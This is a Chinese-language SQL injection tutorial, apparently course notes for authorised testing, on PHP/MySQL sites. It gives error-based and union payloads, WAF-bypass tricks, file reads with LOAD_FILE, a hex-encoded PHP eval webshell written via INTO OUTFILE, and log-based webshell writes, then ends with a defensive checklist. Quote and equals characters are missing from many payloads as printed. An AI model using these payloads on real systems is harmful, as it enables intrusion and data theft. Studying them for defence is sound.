1. PHP与MySQL架构的整体解剖搞安全测试如果你只盯着某个漏洞点去挖那基本是挖一个丢一个。真正的高手拿到一个PHP站点脑子里先浮现的不是某个注入点而是整个应用的架构图——从浏览器请求到服务器响应的完整链路到底是长什么样的。1.1 经典PHP应用的三层请求链路一个典型的PHPMySQL站点请求链路大概是这样的浏览器发请求Nginx或者Apache接收然后把PHP脚本交给PHP解释器去跑PHP脚本内部通过mysqli或者PDOPHP Data ObjectsPHP数据对象这类数据库扩展去连接MySQLSQL语句在MySQL里执行完结果集返回给PHPPHP再拼成HTML丢回浏览器。这里我要特别说一个很多新人容易忽略的点PHP连接MySQL时建立的是TCP连接还是Unix Socket连接这在渗透测试里会直接影响你后续的一些判断。比如你用netstat看到3306端口对外开放那说明数据库至少允许远程连接但如果只是本地socket通信那你想从外网直接连数据库就得先拿下一台内网机器做跳板。我在实际测试某个站点时就遇到过这种情况——前端PHP和MySQL都部署在同一台机器上3306端口没有暴露在外网结果前期扫描一直没发现数据库服务后来是通过一个文件读取漏洞拿到了站点的配置文件才确认数据库是本地socket方式连接的。再说PHP侧的几个关键配置项做安全的人必须心里有数。display_errors开不开直接决定你能否在页面上看到报错信息——很多注入点在报错注入时就是靠这个开关才能回显SQL错误magic_quotes_gpc是PHP 5.4以下版本的自动转义开关虽然早已废弃但老系统里依然存在它会对单引号、双引号、反斜杠做自动转义这直接影响你构造注入语句时要不要用宽字节绕过。还有一个是secure_file_priv这个虽然是MySQL的配置但它决定你能不能通过SQL语句写文件后面我会详细讲。1.2 数据库用户权限的四个层级我在教学和实际测试中一直把MySQL的权限体系分成四个层级来理解普通用户、具备文件权限的用户、管理员root、以及具备SUPER权限的账号。这四者的能力边界差异极大直接决定了SQL注入漏洞能走多远。第一层是普通用户通常只有增删改查的权限权限范围可能限定在某个数据库甚至是某几张表。这种权限下SQL注入基本只能做数据窃取而且除非能跨库查询否则能读到的数据量有限。第二层是具备FILE权限的用户一般通过GRANT FILE ON *.* TO user%来授予。这个权限虽然不是超级权限但它允许用户执行LOAD_FILE()函数读取服务器上的文件也允许SELECT ... INTO OUTFILE把数据写进文件。第三层是管理员也就是root几乎可以做任何事情包括修改secure_file_priv、创建用户、授予权限前面说过的文件读写权限root天然具备。第四层是具备SUPER权限的账号这个权限主要用于管理类操作包括修改全局变量、控制复制、执行某些管理命令比如后面要说的通过set global general_log_file开启日志写shell就需要这个权限。这里要特别提醒的是我在授权测试中经常遇到MySQL的root账号是空密码或者弱密码而且phpMyAdmin一个基于Web的MySQL管理工具直接暴露在外网的情况。这种问题其实已经不属于SQL注入的范畴了属于基础安全配置缺失但它带来的危害远大于一般的注入点因为等于把整个数据库的管理权限送给了攻击者。如果你在代码审计或者渗透测试中遇到这种情况优先上报这是可以写进高优先级漏洞报告的内容。1.3 参数传递路径对注入点的决定性影响搞清楚数据怎么流动的你才能判断哪里可以下手。在一个PHP应用里用户输入可能来自$_GET、$_POST、$_COOKIE、$_SERVER甚至$_FILES里的文件名。这些输入到了PHP侧如果没有任何过滤就直接拼进SQL语句注入点就产生了。但这里有一个很关键的分叉点参数到底是在PHP层被处理还是在数据库层被处理。有的应用做了参数化查询那你在任何地方注入都不会成功有的应用只是做了黑名单过滤那你就要想怎么绕过过滤规则还有的应用比较特殊它把用户输入先做了base64解码或者JSON解析然后再拼SQL这种情况下你的注入payload也需要先编码一次才能绕过。我记得测过一个站它的登录接口接收的是一个JSON格式的请求体里面有个字段叫username后端逻辑是先用json_decode拿到用户名然后直接拼进查询语句。我一开始用常规的 or 11#完全无效因为这个字符到了JSON解析层就已经因为双引号闭合的问题报错了。后来我是直接把整个JSON包里的username值换成带转义后的SQL注入payload服务端在拼SQL时反而因为转义处理不当产生了注入。从这段经历得到的经验是做注入前先理解数据从HTTP请求到SQL语句之间经历了什么处理过程别拿着一套通用payload就到处乱试。对于测试方这一步决定了你的效率对于防守方这一步决定了你该在哪个环节做过滤。2. SQL注入的核心攻击面与绕过实验讲完架构下面进入重头戏。这套课程里关于SQL注入的部分其实覆盖了从最基础的绕过登录认证到报错注入、联合查询、布尔盲注、时间盲注再到堆叠注入的完整技术栈。我结合自己的实操经验逐个拆一下。2.1 万能密码能“万能”的原因与边界所谓万能密码绕过登录本质上是利用拼接SQL时产生的逻辑恒真。比如后台校验逻辑写成这样SELECT * FROM users WHERE username $user AND password $pass如果你填入的用户名是admin or 11那拼接出来的完整SQL就变成SELECT * FROM users WHERE username admin or 11 AND password 任意值MySQL会检查每一行记录是否满足WHERE条件而or 11恒真这导致username为admin和其他非admin记录都会被查出来。不过在实际测试时admin or 11能不能成功还要看后台拿到结果集后取了哪一行。如果代码是mysqli_fetch_assoc()只取第一行那查询结果的第一条记录是谁就决定了你能不能登录成功。如果第一行是某个低权限用户而你期望的是admin那登录可能不会成功但你已经知道了查询的逻辑存在漏洞。若后台是取结果集的行数是否为0来判断的那其实你不需要关心具体返回了哪一行只要返回行数大于0即可。另外万能密码有个实际绕过边界如果代码用了参数化查询或者转义函数万能密码直接GG。所以别把万能密码当成万能的它只对字符串拼接型SQL有效。这也是为什么我在实战前会先去测它的登录逻辑像前面说的通过加单引号看报错判断是否存在拼接。如果加了单引号后页面返回SQL语法错误那就说明大概率存在拼接万能密码才能有发挥空间如果只是返回登录失败很可能人家用了预编译那你就要换思路去找其他入口了。2.2 报错注入常用的四种函数报错注入是个很有意思的东西它利用的是数据库自身在报错信息里回显数据的机制。MySQ L5.1及以上版本如果你让数据库在执行某个函数时报错错误信息里会带上你传入的参数内容。这个参数内容可以是一段子查询的结果于是你就能通过不断改变子查询来逐字节地“吐出”数据。我实际用下来最顺手的四种报错函数是updatexml()、extractvalue()、floor(rand(0)*2)配合group by产生的重复键报错以及GTID相关的gtid_subset()。它们的原理不同适用场景也不太一样我整理了一个表函数/手法报错长度限制典型payload模板适用场景updatexml()32位and updatexml(1,concat(0x7e,(select user()),0x7e),1)最常用报错稳定适合逐段取数据extractvalue()32位and extractvalue(1,concat(0x7e,(select database()),0x7e))同上用得顺手二选一即可floor(rand(0)*2)约64位and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)老版本兼容性好但语句太长容易触发WAFgtid_subset()约64位and gtid_subset(concat((select user())))版本较新5.6某些场景能用我个人推荐优先用updatexml()和extractvalue()。原因很简单它们在MySQL 5.1到8.0大部分版本都适用报错信息格式统一解析起来方便。floor那条虽然也能用但payload很长而且如果目标站点有WAF多半会以URL参数长度超限或者关键字命中为由拦掉性价比偏低。这里要给初学者提个醒报错注入和联合查询注入口径不一样。联合查询要求注入点前面的SELECT语句列数和你构造的UNION SELECT列数一致你得先通过order by去猜列数而报错注入不需要你关心原来的SQL语句有多少列只要拼接位置在WHERE子句或者可被表达式计算的地方就能触发。对于大多数登录框、查询框这类场景报错注入反而更省事。2.3 联合查询、盲注与堆叠注入的区分使用联合查询的核心逻辑是把原始查询和目标查询的结果纵向拼接目标是把数据从页面回显里直接“带出来”。它有两个硬性条件一是注入点所在的SELECT语句可以被UNION拼接二是结果必须能在页面上回显。条件满足后配合order by逐次二分去猜列数再用union select 1,2,3,...定位回显位最后用database()、version()、user()等函数占位取值一套流程走下来30秒内基本能搞定。盲注则是在页面看不到回显的情况下靠页面差异或者延迟来判断条件真假。布尔盲注的逻辑是你构造一个布尔条件页面正常显示代表条件为真不显示就代表条件为假。时间盲注则是靠sleep()函数人为制造延迟通过响应时间差来判断。盲注的缺点是慢但它不依赖回显位适用范围更广。堆叠注入很多人会忽略其实它的思路完全不同——一般注入只能执行一条SELECT语句但如果你能注入;分号并让后端把整串SQL都发给数据库执行那就可以连续执行多条语句。比如1;SELECT 1,2,3;INSERT INTO ...;DROP TABLE ...不过PHP侧用mysqli_multi_query()的场景比较少见大多数框架默认不允许多语句执行所以这个利用条件相对苛刻。2.4 绕过WAF和过滤的常见变形思路实战里你总会遇到目标站点对select、union、sleep这些敏感词做了过滤或者接入了一台WAFWeb Application FirewallWeb应用防火墙。这时候直接打原始payload大概率吃灰得考虑变形。最基本的思路是大小写混写比如SeLeCt这只对区分大小写且没做统一转小写的过滤有效。再就是加注释符把关键字拆开比如sel/**/ect这是利用MySQL允许在SQL语句内部加注释的特性让过滤系统只看到sel加ect拼不出黑名单词。还有内联注释的写法/*!50000select*/MySQL会把它当作select来执行但很多正则过滤会直接忽略/*!...*/这样的结构因为一般的正则匹配倾向于提取注释中的内容而不是把它当作代码执行。在某些情况下把union写成un/**/ion再拼接占位符也能绕过。编码绕过的思路同样常用。URL编码、十六进制编码、Unicode编码有些过滤系统只解码一层你喂它两层编码的payload就可能漏过。比如information_schema可以写成information_schema的十六进制形式在SQL里用0x696E666F726D6174696F6E5F736368656D61表示字符串拼接时就不会触发关键字检测。这里要提醒一下绕过WAF最怕的是无效变形反而被拦。我自己踩过的坑是在一个站点里用了十六进制编码来绕过关键字过滤结果对方的WAF规则里特意做了十六进制解码再检测的流程payload最终逃不过拦截。后来我改成利用information_schema的别名和注释符结合的方式才得以通过。所以绕过过滤这件事本质上是“猜对方的检测逻辑”没有万能药。若想提高成功率可以做一次字典化枚举尝试同时多准备几套不同思路的变形不要只依赖一种方法反复撞墙。3. 跨库查询从information_schema到全局数据猎取SQL注入能查到数据库名和表名不算难难的是突破当前数据库的边界读到同一实例下其他业务库的数据。这就涉及跨库查询。3.1 information_schema的真实价值MySQL默认会带一个information_schema数据库里面存的是整个数据库实例的元数据信息。对于注入攻击来说它起码提供三类关键数据SCHEMATA表记录了当前实例下所有数据库名TABLES表记录所有库的所有表名COLUMNS表记录所有表的字段名。在注入场景里你只要用database()取到当前库名再进information_schema把其他库的库名、表名、字段名全部枚举出来跨库查询的数据基础就齐了。我记得一次测试里拿到的是一个普通权限的数据库账号当前库只是一个面向游客的展示库里面的数据价值不大。但我用information_schema枚举后发现同一个MySQL实例下面还有另一个业务库里面存着交易数据。当前账号虽然对那个库没有直接操作权限但我们通过注入能去访问那个库的数据吗其实如果当前账号根本没有那个库的SELECT权限即使是跨库查询也读不到东西。这就涉及到权限的边界。不过那次运气好账号是root才能直接跨库读。反过来这个案例说明如果当前账号是高权限账号跨库查询可以直接让你拿到一个实例下所有数据库的数据如果权限不足即使你知道库名表名也读不了内容除非有别的提权路径。3.2 利用information_schema逐级探测的实操流程当你拿到一个SQL注入点面前又没有现成工具辅助时手把手走一遍流程大概是这样先用order by确定列数再用union select定位回显位然后用下面这条语句把当前用户能看到的数据库名全部列出来union select 1,group_concat(schema_name),3 from information_schema.schemata如果payload被截断就用limit 0,1逐行读。拿到库名后接着枚举指定库下的表union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase()然后再根据目标表名枚举字段union select 1,group_concat(column_name),3 from information_schema.columns where table_schema目标库名 and table_name目标表名最后才是真正去取数据union select 1,group_concat(用户名,0x3a,密码),3 from 目标库名.目标表名这一套流程在实际操作中非常稳。很多人会用sqlmap一条命令跑出数据但如果你想对站点结构建立完整认识手动过一遍这个过程是必须的。因为sqlmap只会告诉你结果不会告诉你这个数据库里还有哪些其他库、哪些库可能更有价值而手动枚举时你对整个数据资产的边界会有更直观的判断。3.3 非information_schema场景下怎么跨库有些目标把information_schema给禁了或者你遇到了权限被收缩的情况跨库查询就会变得麻烦。这时候至少还有两条路可以尝试。其一利用show databases。如果注入点在堆叠注入模式下show databases可以直接列出所有数据库名然后show tables from 目标库枚举表名。但它不能枚举字段名只能靠猜列名或者从业务逻辑反推。其二如果MySQL版本在5.6以上存在一个sys.schema_table_statistics之类的视图记录了部分表的统计信息虽然是性能相关的视图但也可能泄露表名和字段。不过我用下来感觉这条路信息不全只能作为辅助。最后说一下API层的跨库问题。有些PHP应用不同业务模块连的是同一个MySQL实例但不同库。比如用户中心连的是user_db订单中心连的是order_db但它们共享同一个MySQL账号。这种情况下如果注入点在用户中心模块且使用的是同一个数据库连接那么注入后就只能操作user_db但如果你发现连接账号对order_db也有权限那跨库查询就能把订单数据也读出来。反之如果两个应用用的是不同的MySQL账号那即使它们在同一个实例上跨库读取也会因为权限不足失败。4. 文件读写与权限操纵的实战链路SQL注入走到了文件读写这一步才真正从“偷数据”上升到“拿权限”。虽然可以直接通过注入点写WebShell的场景现在越来越少需要满足多个前提条件但一旦满足条件收益是断崖式的。4.1 触发文件读写的硬性前置条件要让MySQL通过SQL语句读写服务器文件得同时满足四个条件缺一个都执行不了MySQL配置中secure_file_priv参数不能设置为非空路径。这个参数在MySQL 5.7及以后版本默认是空的表示禁止任何文件读写如果设置为某个目录比如/tmp则只能对该目录进行读写。只有把它设置为空字符串表示不限任何目录或者直接注释掉旧版本默认不限才能自由读写任意路径文件。当前数据库账号具备FILE权限。root天然具备普通用户需要额外授权。知道目标文件的绝对路径。比如Linux下Web根目录常见是/var/www/htmlWindows下可能是C:\inetpub\wwwroot。操作系统层面有对应目录的写权限且目标目录不能被open_basedir之类限制。对于INTO OUTFILE写文件还要多一个小条件写出的文件路径对应的目标路径不存在或者可以被覆盖且文件不能已存在。MySQL在写OUTFILE时如果目标文件已存在会直接报错“File already exists”。利用这个特性可以探测路径是否有效——如果你写一个常见路径提示已存在说明该路径存在且你可能需要用不同的文件名去写shell。4.2 LOAD_FILE与INTO OUTFILE的验证与使用读文件用LOAD_FILE()典型用法是union select 1,load_file(/etc/passwd),3如果当前账号有FILE权限且secure_file_priv允许且你有注入点能回显那你就能直接读出服务器上的文件内容。读/etc/passwd可以确认操作系统类型和存在的用户读站点配置文件可以拿数据库账号密码读PHP源码可以进行白盒审计。不过5.7以上的MySQL默认secure_file_priv可能指向一个空值禁止读写所以这个函数的有效性依赖目标环境的配置。写文件用SELECT ... INTO OUTFILEselect 0x3C3F706870206576616C28245F504F53545B227A6D225D293B3F3E into outfile /var/www/html/x.php上面这段十六进制对应的内容就是?php eval($_POST[zm]);?这是最经典的PHP一句话木马写法。这样写的好处是避开、、?这些字符在SQL语法层面的冲突SQL字符串里包含?php时单引号包裹的字符串本身没问题但通过十六进制可以尽量降低WAF对敏感代码特征字符串的拦截概率。写文件时secure_file_priv为空字符串时你还需要确认目标目录的权限。比如Debian系系统的/var/www/html往往对www-data用户可写但你的MySQL进程可能是以mysql用户运行的如果/var/www/html的属主是root且权限为755那写入就会因为权限不足而失败。实际操作时可以先进/tmp目录测试是否能写入比如select test into outfile /tmp/mysql_test.txt如果能写入再考虑Web目录的权限问题。如果Web目录不可写可以尝试往日志文件目录写然后通过日志包含来getshell这也是后面讲日志写WebShell的一个思路。4.3 堆叠注入下的命令执行与权限提升当注入点允许堆叠注入时你可以执行多条SQL语句权限操纵的手段就多了很多。先提一句UDFUser Defined Function用户自定义函数提权。思路是往MySQL的插件目录放一个编译好的.so文件然后通过CREATE FUNCTION注册一个自定义函数比如sys_exec()这样在SQL层面直接执行系统命令。需要的条件包括能往插件目录写文件这意味着你已经有了FILE权限且secure_file_priv没限制、知道MySQL插件目录的绝对路径、有创建函数的权限。插件目录一般可以通过show variables like %plugin%查出来。UDF提权操作复杂、版本兼容性问题多但在高版本MySQL上这个路径越来越难走因为MySQL从5.7以后默认不允许在运行时修改general_log_file和plugin_dir的变量需要额外条件。另一条更常用的路子是日志写Shell。MySQL的general_log是全局查询日志如果把general_log_file指向Web目录再开启general_log那么每一条SQL语句都会写进该日志文件包括我们通过注入发过去的payload。如果日志文件里有PHP代码再通过Web访问就能解析执行。具体操作是set global general_logon; set global general_log_file/var/www/html/x.php; select ?php phpinfo();?把恶意PHP代码作为查询语句执行预期这个内容会出现在日志文件里然后用Web访问该文件。日志写Shell比UDF提权要简单但它有两个硬性条件你的账号必须能执行set global命令一般需要SUPER权限或SYSTEM_VARIABLES_ADMIN以及MySQL进程对Web目录有写权限。在MySQL 5.7及以上通过set global修改general_log_file和general_log默认是允许的除非启用了--disable-log-bin且对运行时变量修改做了限制但secure_file_priv对这个问题没有影响。对于普通账号还有一种思路叫“慢查询日志写Shell”。原理类似但用的是slow_query_log和slow_query_log_file针对的也是没有FILE权限但是能改全局变量的账号。这个我在某些版本上测试成功过但同样需要SUPER权限或管理员账号级别的能力。如果你的注入点只是普通SELECT权限这条也不行。4.4 失效场景为什么现在文件读写越来越难触发前面这些招数如果放在五年前几乎可以通杀一大批PHP站点。但现在为什么越来越少听到有人直接通过文件读写拿WebShell原因在于几个方面第一PHP应用越来越多地采用Docker容器部署容器里Web目录是只读挂载或者MySQL是单独容器Web目录在另一个容器里MySQL进程根本没法访问到Web目录。第二RDS关系型数据库服务这类云数据库产品默认不开放FILE权限你必须通过管理控制台单独申请。第三secure_file_priv默认配置在5.7以后是安全的离线值只要运维不主动放宽文件读写这条路就被默认堵死。另外还有一个容易被忽视的点即使你把一句话写入文件成功如果你的PHP环境禁用了eval这类危险函数很多云虚拟主机和重安全配置环境都会disable_functions那这个WebShell也用不了。我在测试中曾经遇到过写入成功但访问500的情况排查下来就是对方在php.ini里禁用了eval和system等函数。所以文件读写成功不等于渗透成功只是打通了一条链路后续还有层层关卡。5. 常见问题与防御侧自查清单把这套课程的内容讲完还是照例把那些年踩过的坑和盘点整理一下。5.1 攻击侧高频翻车现场实操中容易卡壳的点排在第一位的是列数猜解错误。很多初学者拿着一个注入点一上来就order by 100如果页面没有正确回显他会误判列数就是100以内。其实order by报错只能说明列数小于当前数字不能直接告诉你具体列数。正确做法是用二分法从order by 1开始依次2、4、8这样翻倍探测直到报错再回退精确确认。第二个高频翻车点是回显位判断失误。union select 1,2,3执行成功不代表页面上能看到数字1、2、3因为目标站点的查询语句可能用了SELECT *返回的字段顺序和你构造的字段顺序不一致导致数字没有出现在可显示的位置上。我的习惯是先把第一条数据清掉让联合查询的结果成为结果集的第一行且联合查询的每个字段都用带有明显特征的数字或者字符串比如union select 11111,22222,33333这样在页面源码里搜索11111就能准确定位回显位。第三个坑是编码问题导致的中文乱码。当你用group_concat拼接表名、字段名时中文库名在MySQL连接编码是latin1的情况下会显示成乱码或一堆问号。解决方法是在注入payload里加convert(目标字段 using utf8)把它转成UTF-8再输出。第四个坑是过滤了空格。有些规则会把空格替换成空你可以用/**/代替空格或者把查询写成括号包围子查询的形式比如select(username)from(users)利用括号本身取代表达式的空格。最后提醒一下sqlmap虽然方便但遇到某些特殊注入场景它的自动识别可能会失效原因往往是目标存在多层编码或者WAF拦截了部分测试payload。手动注入的熟练程度直接决定你面对这种场景时的上限。5.2 防御侧自查清单对Web开发者和管理员来说这份课程同样提醒我们应该做什么第一是全面使用参数化查询。PDO的prepare()bindParam()或者mysqli的预处理语句是从根上杜绝SQL注入的唯一方法。字符串拼接SQL这件事无论在什么业务场景下都不应该出现。如果某些历史代码实在改不动至少要加白名单校验和输入类型强转但前提是了解这种方式只能作为过渡方案本身并不安全。第二是最小化数据库账号权限。每个应用模块只给对应库的增删改查权限不要给FILE权限更不能用root连应用。secure_file_priv要明确指定到一个不需要的目录比如/tmp或者设置成某个空目录避免文件读写被滥用。如果应用完全不需要文件读写直接把它设置为空值也行即禁止文件读写。第三是数据库和应用部署隔离。让数据库走内网专用IP不暴露公网禁用general_log写Web目录的可能日志走独立日志收集系统。对云上数据库尽量用托管服务少自建。第四是统一报错页面。不管数据库报什么错前端统一返回一个“系统繁忙”之类的通用错误页不要在HTTP响应里回显SQL错误内容。这个举措能直接废掉报错注入这条路径的大部分利用价值。第五是在Web应用层做标准化过滤。在框架层面写一个全局输入过滤器把SQL关键字如union select、load_file、sleep、information_schema做成黑名单同时对单引号、双引号、反引号做一致性转义。虽然这种方法仍可能被绕过但对绝大多数脚本小子是有效的。我的个人体会是这套课程的价值不只是教你怎么注入一个SQL语句而是让你把PHP应用的架构、MySQL权限体系、文件系统与Web服务之间的关系串成一条线。看懂了这条线的攻与守你在面对下一个目标站的时候才不会东试一下西试一下而是拿到手就知道该往哪里发力。做测试这么多年感触最深的一点就是漏洞的本质不是代码写错了而是信任边界没有划分清楚——数据层信任了外部输入文件系统信任了数据库账号Web层信任了错误信息每一个信任被滥用都只是一个时间问题。把这条思维链留在脑子里比记住多少条payload要值钱得多。